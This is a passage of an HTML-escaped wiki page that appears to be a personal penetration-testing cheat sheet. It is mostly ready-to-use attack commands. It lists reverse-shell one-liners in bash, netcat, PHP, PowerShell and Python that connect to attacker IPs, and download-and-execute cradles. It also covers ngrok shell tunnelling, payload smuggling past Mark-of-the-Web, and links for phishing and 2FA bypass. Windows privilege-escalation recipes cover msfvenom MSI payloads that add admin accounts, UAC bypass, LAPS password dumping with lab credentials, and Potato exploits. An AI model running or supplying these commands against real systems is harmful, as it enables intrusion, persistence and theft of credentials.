## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
